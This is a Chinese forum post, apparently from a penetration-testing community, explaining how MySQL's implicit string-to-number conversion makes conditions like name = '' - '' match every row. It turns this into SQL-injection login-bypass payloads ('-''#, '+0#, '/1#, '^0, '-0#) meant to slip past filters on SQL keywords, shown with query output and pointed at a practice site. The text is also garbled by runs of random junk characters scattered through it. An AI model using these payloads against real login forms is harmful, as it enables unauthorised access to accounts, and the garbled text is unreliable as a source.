| 我们先来看这样一个场景。 有以下表结构: mysql> desc admin;9 g! g6 ~/ x D# T# N9 m8 U% @1 s +----------+--------------+------+-----+---------+----------------+/ v) @% B' k. @4 e" W9 g | Field | Type | Null | Key | Default | Extra |* M& ?" g" r. V- p +----------+--------------+------+-----+---------+----------------+9 P$ [; I1 j% J% b7 x | id | mediumint(9) | NO | PRI | NULL | auto_increment | | name | char(32) | NO | UNI | NULL | | | password | char(32) | NO | UNI | NULL | | +----------+--------------+------+-----+---------+----------------+ 3 rows in set (0.00 sec) 执行select * from admin;,成功返回所有记录内容。 - Z X$ e! R* y: X7 F5 J. d ; r( G* B2 _$ V/ b8 H2 K- b1 o +----+--------+----------------------------------+ | id | name | password |* t$ }, J/ b4 w +----+--------+----------------------------------+ | 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 | | 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 | | 4 | n00b | ff80e8508d39047460921792273533a4 |9 K# [2 M& j! ` +----+--------+----------------------------------+6 Z# J% w, [) ^5 A$ G 3 rows in set (0.00 sec)4 e- T8 W- i& i' Q% |1 V" z8 t 执行select * from admin where name=”;,没有匹配到任何记录。 , Y7 Q: B3 {. M+ E1 T/ | mysql> select * from admin where name = ''; Empty set (0.00 sec)1 {: x% m) e5 J4 V' ? 那么我们来执行select * from admin where name = ”-”; +----+--------+----------------------------------+ | id | name | password | +----+--------+----------------------------------+ f& ^. N0 _9 J( [1 y | 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 | | 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |# @3 F. ~3 a) ` e# s9 q5 D! m9 o, u# m | 4 | n00b | ff80e8508d39047460921792273533a4 |& }" {6 s5 t. K% \1 o +----+--------+----------------------------------+ 3 rows in set, 3 warnings (0.00 sec)1 e- ?1 I% A. j% e 可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: , w0 o% h# }) n) w$ o; I mysql> show warnings; +---------+------+------------------------------------------7 t; c K; B: E6 |$ D2 q | Level | Code | Message0 x6 @& n+ v, O4 S. {$ F +---------+------+------------------------------------------, c, Z7 g+ b# J3 Z, }/ l | Warning | 1292 | Truncated incorrect DOUBLE value: 'admin5 A% h' d" i/ E1 ~) }- l | Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s | Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b +---------+------+------------------------------------------ 3 rows in set (0.00 sec) 提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 % d$ N2 ?: k7 H" U& m- f* Y mysql> select ''-'';, J2 Y) h; l, _4 n +-------+ | ''-'' | +-------+ | 0 |9 l0 S1 ^; I8 b +-------+ 1 row in set (0.00 sec) 返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 6 E7 z* d: y2 i7 e' z 6 H7 ^$ F/ @. t( p3 q X. b; r mysql> select CAST((select name from admin limit 1,1) as DECIMAL);4 n. b8 Q; D8 A$ { K2 ` +-----------------------------------------------------+- i ^# q& m& C. ? | CAST((select name from admin limit 1,1) as DECIMAL) |" G( f# u# M0 I +-----------------------------------------------------+ | 0 | +-----------------------------------------------------+0 t5 g. U3 R, z. C$ P, ]7 ?6 o" l 1 row in set, 1 warning (0.00 sec) 因此where语句构成了相等的条件,where 0=”=”,记录被返回。 . X& F' U$ P2 s, j7 F# Q/ J, S SQL注入场景: http://www.sqlzoo.net/hack/ 0 P& m+ ~2 Y, M! Y) y ( |6 a, X( i& U 2 A/ r0 e1 A( u1 ]( x+ g; w 如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 4 @$ F- f" O: A/ p8 B" V 那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 & W9 m9 m- n7 ] , J5 ?$ b: O ~! Y3 T 仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 ! Y" {' x9 C. ^, l" {' ~ 除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可 - x. v# c; }) i: K$ ] : ], u- ]& J" [' I; q mysql> select ''/1;4 r9 }! z% O% B5 S8 v- u Q +------+0 s0 f+ Y; Z+ c/ C) z Z | ''/1 |9 R0 o. |1 H8 b! K- v +------+ i' k7 e' l# b; n" h | 0 |8 w9 I* U# V' y S6 h2 j +------+ 1 row in set (0.00 sec) 类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。1 r q# z( z d. W8 R |
| 欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) | Powered by Discuz! X3.2 |